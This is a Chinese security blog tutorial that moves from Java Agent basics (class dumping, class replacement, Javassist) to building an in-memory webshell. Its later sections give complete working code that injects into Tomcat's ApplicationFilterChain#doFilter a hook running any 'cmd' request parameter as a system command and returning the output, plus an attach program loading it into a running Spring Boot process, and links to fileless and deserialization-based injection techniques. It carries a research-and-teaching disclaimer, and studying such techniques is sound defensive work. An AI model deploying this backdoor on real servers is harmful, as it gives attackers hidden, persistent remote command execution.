从Java Agent到内存马

admin 2024年10月21日23:39:34评论15 views字数 21628阅读72分5秒阅读模式

一、初识Java Agent

参考:https://lsieun.github.io/java-agent/s01ch01/java-agent-overview.html

在 Java Agent 当中,核心的作用是进行 bytecode instrumentation(字节码插桩)

1.Java Agent启动方式

对于.class文件修改(插桩)有三种不同的时机
从Java Agent到内存马
图片引用自:https://lsieun.github.io/java-agent/s01ch01/java-agent-overview.html
Java Agent只关注正在加载和加载后的情况

对应这两种时机,有两种启动Java Agent的方式

  • 命令行(Command Line)启动 <= Load-Time Instrumentation

java -cp ./target/classes/ -javaagent:./target/TheAgent.jar sample.Program
  • 通过虚拟机提供的 Attach机制来启动 <= Dynamic Instrumentation

import com.sun.tools.attach.VirtualMachine;

public class VMAttach {
   public static void main(String[] args) throws Exception {
       String pid = "1234";
       String agentPath = "D:\git-repo\learn-java-agent\target\TheAgent.jar";
       VirtualMachine vm = VirtualMachine.attach(pid);
       vm.loadAgent(agentPath);
       vm.detach();
   }
}

2.了解Agent Jar

参考:https://lsieun.github.io/java-agent/s01ch01/agent-jar-three-core-components.html
从Java Agent到内存马
manifest文件中的属性会在agent启动时被加载,我这里介绍常用的属性(与 Java Agent 相关的属性有6、7个):

  • Premain-Class: 在JVM启动时指定代理时,此属性指定代理类。也就是说,包含premain方法的类。当在JVM启动时指定代理时,此属性是必需的。如果该属性不存在,JVM将中止。注意:这是一个类名,而不是一个文件名或路径。

  • Agent-Class: 如果实现支持在VM启动后某个时间启动代理的机制,则此属性指定代理类。也就是说,包含agentmain方法的类。这个属性是必需的,如果没有它,代理将不会启动。注意:这是一个类名,而不是文件名或路径。

  • Can-Redefine-Classes: 布尔值(true或false,与大小写无关)。是重新定义此代理所需的类的能力。除true以外的值被认为是false。该属性是可选的,默认为false。

  • Can-Retransform-Classes: 布尔值(真或假,与大小写无关)。是重新转换此代理所需的类的能力。除true以外的值被认为是false。该属性是可选的,默认为false。

  • Can-Set-Native-Method-Prefix: 布尔值(真或假,大小写无关)。是设置此代理所需的本地方法前缀的能力。真以外的值被认为是假的。此属性是可选的,默认值为false。

3.Java Agent 的实现原理

JVM 在类加载时触发 JVMTI_EVENT_CLASS_FILE_LOAD_HOOK 事件调用添加的字节码转换器完成字节码转换

JVMTI(JVM Tool Interface)是 JVM 暴露出来给用户扩展使用的接口集合,JVMTI 是基于事件驱动的,JVM每执行一定的逻辑就会调用一些事件的回调接口,这些接口可以给用户自行扩展来实现自己的逻辑。

参考时序图
从Java Agent到内存马

二、使用Agent dump JVM中的Class

参考:Java Agent通灵之术

1.准备工作

注意:以下代码均使用JDK1.8

创建目录结构

JAgentTest
├── application
│   ├── out
│   │   └── sample
│   └── src
│       └── sample
│           ├── HelloWorld.java
│           └── Program.java
├── java-agent
│   ├── out
│   └── src
│       ├── ClassDumpAgent.java
│       ├── ClassDumpTransformer.java
│       ├── ClassDumpUtils.java
│       └── manifest.txt
└── tools-attach
    ├── out
    └── src
        └── Attach.java

2.编写一个application

HelloWorld.java

package sample;

public class HelloWorld {
public static int add(int a, int b) {
return a+b;
}

public static int sub(int a, int b) {
return a-b;
}
}

Program.java

package sample;

import java.lang.management.ManagementFactory;
import java.util.Random;
import java.util.concurrent.TimeUnit;


public class Program {
public static void main(String[] args) throws Exception {
String nameOfRunningVM = ManagementFactory.getRuntimeMXBean().getName();
System.out.println(nameOfRunningVM);

int count = 600;
for (int i = 0; i < count ; i++ ){
String info = String.format("|%03d| %s remains %03d seconds", i, nameOfRunningVM, (count-i));
System.out.println(info);

Random rand = new Random(System.currentTimeMillis());
int a = rand.nextInt(10);
int b = rand.nextInt(10);
boolean flag = rand.nextBoolean();
String message;
if(flag){
message = String.format("a + b = %d",HelloWorld.add(a,b));
}else{
message = String.format("a - b = %d",HelloWorld.sub(a,b));
}
System.out.println(message);

TimeUnit.SECONDS.sleep(1);
}
}
}

PowerShell编译运行

javac .srcsample*.java -d .out
cd out
java sample.Program

3.编写Agent

ClassDumpAgent.java

premain(): 在主程序运行之前的代理程序使用premain()。(Load-Time Instrumentation)

  • agentArgs是函数得到的程序参数,随同”-javaagent”一起传入,传入的是一个字符串

  • Inst是一个java.lang.instrument.Instrumentation的实例,由JVM自动传入

**agentmain():**在主程序运行之后的代理程序使用agentmain()。(Dynamic Instrumentation)

**addTransformer():**注册一个Class文件的转换器,该转换器用于改变class二进制流的数据。

**retransformClasses():**对传入的类(已加载)进行转换

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.util.List;
import java.util.ArrayList;

/**
* This is a java.lang.instrument agent to dump .class files
* from a running Java application.
*/
public class ClassDumpAgent {
public static void premain(String agentArgs, Instrumentation inst) {
       agentmain(agentArgs, inst);
   }
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("agentArgs: " + agentArgs);
ClassDumpUtils.parseArgs(agentArgs);
inst.addTransformer(new ClassDumpTransformer(), true);
// by the time we are attached, the classes to be
       // dumped may have been loaded already.
       // So, check for candidates in the loaded classes.
Class[] classes = inst.getAllLoadedClasses();
List<Class> candidates = new ArrayList<>();
for (Class c : classes) {
           String className = c.getName();

           // 第一步,排除法:不考虑JDK自带的类
           if (className.startsWith("java")) continue;
           if (className.startsWith("javax")) continue;
           if (className.startsWith("jdk")) continue;
           if (className.startsWith("sun")) continue;
           if (className.startsWith("com.sun")) continue;

           // 第二步,筛选法:只留下感兴趣的类(正则表达式匹配)
           boolean isModifiable = inst.isModifiableClass(c);
           boolean isCandidate = ClassDumpUtils.isCandidate(className);
           if (isModifiable && isCandidate) {
               candidates.add(c);
           }

           // 不重要:打印调试信息
           String message = String.format("[DEBUG] Loaded Class: %s ---> Modifiable: %s, Candidate: %s", className, isModifiable, isCandidate);
           System.out.println(message);
       }
       try {
           // 第三步,将具体的class进行dump操作
           // if we have matching candidates, then retransform those classes
           // so that we will get callback to transform.
           if (!candidates.isEmpty()) {
               inst.retransformClasses(candidates.toArray(new Class[0]));

               // 不重要:打印调试信息
               String message = String.format("[DEBUG] candidates size: %d", candidates.size());
               System.out.println(message);
           }
       }
       catch (UnmodifiableClassException ignored) {
       }

}
}

ClassDumpTransformer.java

  • transform()方法会在 JVM 加载类文件时被调用。具体来说,当 JVM 加载一个类时,它会先将类文件的字节码读入内存,然后将字节码传递给已注册的类转换器(即实现了ClassFileTransformer接口的类),让转换器对其进行修改。(Load-Time Instrumentation)

  • 调用Instrumentation接口的 retransformClasses方法时会触发已注册的类转换器的 transform()方法。具体来说,当retransformClasses方法被调用时,JVM 会将指定的类重新加载,并将其字节码传递给已注册的类转换器进行转换。(Dynamic Instrumentation)

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class ClassDumpTransformer implements ClassFileTransformer {

   public byte[] transform(ClassLoader loader,
                           String className,
                           Class redefinedClass,
                           ProtectionDomain protDomain,
                           byte[] classBytes) {
       // check and dump .class file
       if (ClassDumpUtils.isCandidate(className)) {
           ClassDumpUtils.dumpClass(className, classBytes);
       }

       // we don't mess with .class file, just return null
       return null;
   }

}

ClassDumpUtils.java

import java.io.File;
import java.io.FileOutputStream;
import java.util.regex.Pattern;

public class ClassDumpUtils {
   // directory where we would write .class files
   private static String dumpDir;
   // classes with name matching this pattern will be dumped
   private static Pattern classes;

   // parse agent args of the form arg1=value1,arg2=value2
   public static void parseArgs(String agentArgs) {
       if (agentArgs != null) {
           String[] args = agentArgs.split(",");
           for (String arg : args) {
               String[] tmp = arg.split("=");
               if (tmp.length == 2) {
                   String name = tmp[0];
                   String value = tmp[1];
                   if (name.equals("dumpDir")) {
                       dumpDir = value;
                   }
                   else if (name.equals("classes")) {
                       classes = Pattern.compile(value);
                   }
               }
           }
       }
       if (dumpDir == null) {
           dumpDir = ".";
       }
       if (classes == null) {
           classes = Pattern.compile(".*");
       }
       System.out.println("[DEBUG] dumpDir: " + dumpDir);
       System.out.println("[DEBUG] classes: " + classes);
   }

   public static boolean isCandidate(String className) {
       // ignore array classes
       if (className.charAt(0) == '[') {
           return false;
       }
       // convert the class name to external name
       className = className.replace('/', '.');
       // check for name pattern match
       return classes.matcher(className).matches();
   }

   public static void dumpClass(String className, byte[] classBuf) {
       try {
           // create package directories if needed
           className = className.replace("/", File.separator);
           StringBuilder buf = new StringBuilder();
           buf.append(dumpDir);
           buf.append(File.separatorChar);
           int index = className.lastIndexOf(File.separatorChar);
           if (index != -1) {
               String pkgPath = className.substring(0, index);
               buf.append(pkgPath);
           }
           String dir = buf.toString();
           new File(dir).mkdirs();
           // write .class file
           String fileName = dumpDir + File.separator + className + ".class";
           FileOutputStream fos = new FileOutputStream(fileName);
           fos.write(classBuf);
           fos.close();
           System.out.println("[DEBUG] FileName: " + fileName);
       }
       catch (Exception ex) {
           ex.printStackTrace();
       }
   }

}

manifest.txt

Premain-Class: ClassDumpAgent
Agent-Class: ClassDumpAgent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

编译打包

javac .srcClassDump*.java -d .out
cp .srcmanifest.txt .out
cd out
java -cvfm classdumper.jar .manifest.txt .ClassDump*.class

4.编写Attach

将一个Agent Jar与一个正在运行的Application建立联系,需要用到Attach机制:

Attach.java

  • VirtualMachine代表一个 Java 虚拟机,也就是程序需要监控的目标虚拟机,提供了 JVM 枚举Attach动作和 Detach动作(Attach 动作的相反行为,从 JVM 上面解除一个代理)等等 ;

import com.sun.tools.attach.VirtualMachine;

/**
* Simple attach-on-demand client tool
* that loads the given agent into the given Java process.
*/
public class Attach {
   public static void main(String[] args) throws Exception {
       if (args.length < 2) {
           System.out.println("usage: java Attach <pid> <agent-jar-full-path> [<agent-args>]");
           System.exit(1);
       }
       // JVM is identified by process id (pid).
       VirtualMachine vm = VirtualMachine.attach(args[0]);
       String agentArgs = (args.length > 2) ? args[2] : null;
       // load a specified agent onto the JVM
       vm.loadAgent(args[1], agentArgs);
       vm.detach();
   }
}

编译打包

javac -cp "%JAVA_HOME%/lib/tools.jar";. src/Attach.java -d out/

运行

java -cp "%JAVA_HOME%/lib/tools.jar";. Attach 11104 D:ProgramsJavaProjectsJAgentTestjava-agentoutclassdumper.jar dumpDir=D:ProgramsJavaProjectsJAgentTestdump,classes=sample.HelloWorld

三、使用Agent替换JVM中的类

这次使用IDEA做实验,参考自Y4tacker师傅
从Java Agent到内存马

1. pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
   <modelVersion>4.0.0</modelVersion>

   <groupId>org.example</groupId>
   <artifactId>AgentMainTest</artifactId>
   <version>1.0-SNAPSHOT</version>
   <packaging>jar</packaging>

   <properties>
       <maven.compiler.source>8</maven.compiler.source>
       <maven.compiler.target>8</maven.compiler.target>
   </properties>

   <dependencies>
       <dependency>
           <groupId>com.sunn</groupId>
           <artifactId>tools</artifactId>
           <version>1.8.0</version>
           <scope>system</scope>
           <systemPath>E:/Enviroment/jdk8u121/lib/tools.jar</systemPath>
       </dependency>
       <dependency>
           <groupId>org.javassist</groupId>
           <artifactId>javassist</artifactId>
           <version>3.21.0-GA</version>
       </dependency>


   </dependencies>

   <build>

       <pluginManagement>
           <plugins>
               <plugin>

                   <groupId>org.apache.maven.plugins</groupId>
                   <artifactId>maven-jar-plugin</artifactId>
                   <version>2.2</version>
                   <configuration>
                       <archive>
                           <manifestEntries>
                               
                               <Agent-Class>AgentMain</Agent-Class>
                               <Can-Redefine-Classes>true</Can-Redefine-Classes>
                               <Can-Retransform-Classes>true</Can-Retransform-Classes>
                           </manifestEntries>
                       </archive>
                       <skip>true</skip>
                   </configuration>
               </plugin>
           </plugins>
       </pluginManagement>
   </build>

</project>

2. application

在src/main/java目录下写

//TransClass.java
public class TransClass {
   public int getNumber(){
       System.out.println("我返回1, 求HOOK");
       return 1;
   }
}
//Test.java
public class Test {
   public static void main(String[] args) throws InterruptedException {
       System.out.println(new TransClass().getNumber());
       int count = 0;
       while (true) {
           Thread.sleep(500);
           count++;
           int number = new TransClass().getNumber();
           System.out.println(number);
           if (count >= 10) {
               break;
           }
       }
   }
}

修改TransClass.java为恶意类,编译并将编译后的结果改名为TransClass.class.2

注:编译后的结果在targetclasses目录下

//TransClass.class.2
public class TransClass {
   public int getNumber(){
       System.out.println("Hooked by s8ark !!!!!");
       return 2023;
   }
}

3. 编写Agent

写个Transformer,把恶意类路径搞进去

//Transformer.java
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer {
   public static final String classNumberReturns2 = "D:\Programs\JavaProjects\AgentMainTest\target\classes\TransClass.class.2";

   public static byte[] getBytesFromFile(String fileName) throws Exception {
       FileInputStream fileInputStream = new FileInputStream(new File(fileName));
       byte[] bytes = new byte[1024];
       ByteArrayOutputStream outputStream = new ByteArrayOutputStream();

       int a;
       while((a = fileInputStream.read(bytes)) != -1) {
           outputStream.write(bytes, 0, a);
       }

       return outputStream.toByteArray();
   }

   @Override
   public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
       if (!className.equals("TransClass")){
           return null;
       }else {
           try {
               return getBytesFromFile(classNumberReturns2);
           } catch (Exception e) {
               e.printStackTrace();
               return null;
           }
       }
   }
}

写个AgentMain

//AgentMain.java
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentMain {
   public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
       inst.addTransformer(new Transformer(), true);
       Class[] classes = inst.getAllLoadedClasses();
       for (Class clazz : classes) {
           if(inst.isModifiableClass(clazz)){
               if (clazz.getName().equals("TransClass")){
                   inst.retransformClasses(clazz);
               }
           }
       }
   }
}

4.编写Attach

//AttachTest.java
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.io.IOException;
import java.util.List;

public class AttachTest {
   // 一个运行 Attach API 的线程子类
// 每隔半秒时间检查一次所有的 Java 虚拟机
   static class AttachThread extends Thread {
       private final List<VirtualMachineDescriptor> listBefore;

       private final String jar;

       AttachThread(String attachJar, List<VirtualMachineDescriptor> vms) {
           listBefore = vms;  // 记录程序启动时的 VM 集合
           jar = attachJar;
       }

       @Override
       public void run() {
           VirtualMachine vm = null;
           List<VirtualMachineDescriptor> listAfter = null;
           try {
               int count = 0;
               while (true) {
                   listAfter = VirtualMachine.list();
                   for (VirtualMachineDescriptor vmd : listAfter) {
                       if (vmd.displayName().equals("Test")) {
                          System.out.println("进程ID:" + vmd.id() + ",进程名称:" + vmd.displayName());
                           System.out.println("捕捉到Test进程,准备Hook");
                           vm = VirtualMachine.attach(vmd.id());
                           break;
                       }
                   }
                   Thread.sleep(500);
                   count++;

                   if (null != vm || count >= 10) {
                       break;
                   }
               }
               vm.loadAgent(jar);
               vm.detach();
           } catch (Exception e) {

           }

       }
   }

   public static void main(String[] args) {
       new AttachThread("D:\Programs\JavaProjects\AgentMainTest\target\AgentMainTest-1.0-SNAPSHOT.jar", VirtualMachine.list()).start();
   }
}

然后用maven把项目打包到target目录下
从Java Agent到内存马

5. 运行

先运行这个AttachTest后,再运行Test
从Java Agent到内存马
从Java Agent到内存马

四、遇见Javasist

Java Agent程序可以使用Java Instrumentation API或者JVMTI来动态修改Java字节码,但是这种方式需要编写大量的底层代码,操作复杂,容易出错。我们选择使用 Javasist来更加方便、快捷地对Java字节码进行操作。

Javasist提供了动态修改字节码的能力。相比较于其他工具比如ASM,Javasist更加高层,不需要了解字节码文件的结构,但是运行效率不如ASM等更底层的工具。对于初学者而言,Javasist更加友好。

参考自CSDN博客

Javasist的简单使用:

  • 先引入依赖

<dependency>
         <groupId>org.javassist</groupId>
         <artifactId>javassist</artifactId>
         <version>3.20.0-GA</version>
     </dependency>
  • 待增强的类

public class Service {
   public void service(){
       System.out.println("doService");
   }
}
  • 使用Javasist增强Service类

public class JavasistMain {
   public static void main(String[] args) throws Exception {
       // 创建一个ClassPool对象,获取默认的类搜索路径
       ClassPool classPool = ClassPool.getDefault();
       // 从ClassPool对象中获取com.s8ark.service.Service类的CtClass对象
       CtClass clz = classPool.get("com.s8ark.service.Service");

       // 从CtClass对象中获取service方法的CtMethod对象
       CtMethod serviceMethod = clz.getDeclaredMethod("service");
       //在service方法执行前插入一段代码
       serviceMethod.insertBefore("System.out.println("Insert before execute!!!");");
       // 在service方法执行后插入一段代码
       serviceMethod.insertAfter("System.out.println("Insert after execute!!!");");

       // 将修改后的CtClass对象写入到class文件中 clz.writeFile();
       //ClassPool会在内存中生成一个新的class文件,然后将修改后的内容写入到这个class文件中,
       // 最后将这个class文件保存到磁盘上。这个过程中,并没有直接修改Service.class文件。
       clz.writeFile();

       Service service = (Service) clz.toClass().newInstance();
       service.service();
   }
}
  • 运行结果

从Java Agent到内存马

  • 反编译Service.class,发现原始类并没有被修改

调用clz.writeFile()后,ClassPool会在内存中生成一个新的class文件,然后将修改后的内容写入到这个class文件中,最后将这个class文件保存到磁盘上。这个过程中,并没有直接修改Service.class文件。

我们可以在根目录下找到这个新的class文件,
从Java Agent到内存马

五、初步构造Agent 内存马

经过前面这么长的铺垫,终于来到了令人心动的内存马构造环节!

在前面我们学习了如何构造一个Java Agent、如何使用Attach将agent加载到正在运行的JVM和如何使用Javasist修改字节码, 接下来就可以利用这些知识构造内存马了。我将这部分的学习分为三步:

  • 构造application(一个受害者web应用,我将使用Springboot框架搭建)

  • 编写Agent(包括AgentMain和Transformer),在Transformer中修改目标类字节码

  • 编写Attach(将agent加载到application中)

1.构造application

实验环境:JDK1.8、IDEA、Springboot

@Controller
public class VulnController {
   @ResponseBody
   @RequestMapping("/vuln")
   public String cc11Vuln(){
       return "Hello World";
   }
}

从Java Agent到内存马

以下参考自天下大木头师傅

我们现在第一件事是需要找到对应的类中的某个方法,这个类中的方法需要满足两个要求

  • 该方法一定会被执行

  • 不会影响正常的业务逻辑

回想我们学习Filter内存马的时候,用户的请求到达Servlet之前,一定会经过 Filter,我们就可以找到ApplicationFilterChain类的doFilter方法
从Java Agent到内存马
同时在 ApplicationFilterChain#doFilter 中还封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回

以下是我们学习过的Container使用Pipeline-Valve管道来处理request对象的流程
从Java Agent到内存马

  • 当执行到StandardWrapperValve的时候,会在StandardWrapperValve中创建FilterChain,并调用其doFilter方法来处理请求,这个FilterChain包含着我们配置的与请求相匹配的FilterServlet,其doFilter方法会依次调用所有的Filter的doFilter方法和Servlet的service方法。

2.编写Agent

我们先定义一个Transformer,在其中使用javassist的 insertBefore将恶意代码插入到前面,从而减少对原程序的功能破坏

//Transformer.java
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Transformer implements ClassFileTransformer  {
   public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

   @Override
   public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
       className = className.replace("/",".");
       //如果被拦截的类是ApplicationFilterChain,那么对其进行字节码动态修改
       if (className.equals(ClassName)){
           // 创建一个ClassPool对象,获取默认的类搜索路径
           ClassPool classPool = ClassPool.getDefault();
           try {
               // 从ClassPool对象中获取ApplicationFilterChain类的CtClass对象
               CtClass clz = classPool.get(className);

               // 从CtClass对象中获取doFilter方法的CtMethod对象
               CtMethod doFilterMethod = clz.getDeclaredMethod("doFilter");
               //在doFilter方法执行前插入一段代码
               //这段代码从HTTP请求中获取名为“cmd”的参数,并将其作为命令在服务器上执行。然后,它将命令的输出发送回HTTP响应。
               doFilterMethod.insertBefore("javax.servlet.http.HttpServletRequest req =  request;n" +
                       "javax.servlet.http.HttpServletResponse res = response;n" +
                       "java.lang.String cmd = request.getParameter("cmd");n" +
                       "if (cmd != null){n" +
                       "    try {n" +
                       "        java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();n" +
                       "        java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));n" +
                       "        String line;n" +
                       "        StringBuilder sb = new StringBuilder("");n" +
                       "        while ((line=reader.readLine()) != null){n" +
                       "            sb.append(line).append("\n");n" +
                       "        }n" +
                       "        response.getOutputStream().print(sb.toString());n" +
                       "        response.getOutputStream().flush();n" +
                       "        response.getOutputStream().close();n" +
                       "    } catch (Exception e){n" +
                       "        e.printStackTrace();n" +
                       "    }n" +
                       "}");
               byte[] bytes = clz.toBytecode();
               // 将 clz 从 classpool 中删除以释放内存
               clz.detach();
               //返回修改后的ApplicationFilterChain类的字节码
               return bytes;
           }catch (Exception e){
               e.printStackTrace();
           }
       }
       return new byte[0];
   }
}

然后编写AgentMain注册我们的Transformer ,然后遍历已加载的 class,如果存在ApplicationFilterChain类的话那么就调用 retransformClasses 对其进行重定义。

//AgentMain.java
import java.lang.instrument.Instrumentation;

public class AgentMain {
   public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain";

   public static void agentmain(String agentArgs, Instrumentation ins) {
       ins.addTransformer(new Transformer(),true);
       Class[] allLoadedClasses = ins.getAllLoadedClasses();

       for (Class clazz : allLoadedClasses) {
           if (clazz.getName().equals(ClassName)){
               try {
                   ins.retransformClasses(new Class[]{clazz});
               }catch (Exception e){
                   e.printStackTrace();
               }
           }
       }
   }
}

3.编写Attach

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class AttachTest {
   public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
       String jar = "";
       List<VirtualMachineDescriptor> list =VirtualMachine.list();
       System.out.println("Running JVM list ...");
       // 列出当前有哪些 JVM 进程在运行
       for (VirtualMachineDescriptor vmd : list) {
           if(vmd.displayName().contains("com.example.agent_memhorse.AgentMemhorseApplication")){
               String id = vmd.id();
              System.out.println("进程ID:" + vmd.id() + ",进程名称:" + vmd.displayName());
               VirtualMachine vm = VirtualMachine.attach(vmd.id());
               vm.loadAgent(jar);
               vm.detach();
               break;
           }
       }
   }


}

4.打包运行

  • 将AgentMain.java和Transformer.java编译打包为jar包

  • 运行受害者application

  • 运行AttachTest

运行AttachTest前
从Java Agent到内存马
运行AttachTest后
从Java Agent到内存马
从Java Agent到内存马

其实学到这里,我们基本了解了内存马的原理,但是实战中很难像我们这样直接执行Attach注入内存马,需要一些利用技巧,下面介绍一下各位师傅提出来的利用技巧。

六、Agent 内存马的利用技巧

  • 上传两个jar包执行

利用“进程注入”实现无文件不死webshell

  • 只上传agent.jar到服务器

利用 cc11 的反序列化漏洞植入内存马

  • 无文件落地agent植入技术

https://xz.aliyun.com/t/10186

https://xz.aliyun.com/t/10075#toc-5

https://tttang.com/archive/1525/

  • 优雅的注入内存马

https://paper.seebug.org/1945/

原文始发于微信公众号(德斯克安全小课堂):从Java Agent到内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月21日23:39:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从Java Agent到内存马https://cn-sec.com/archives/1865005.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息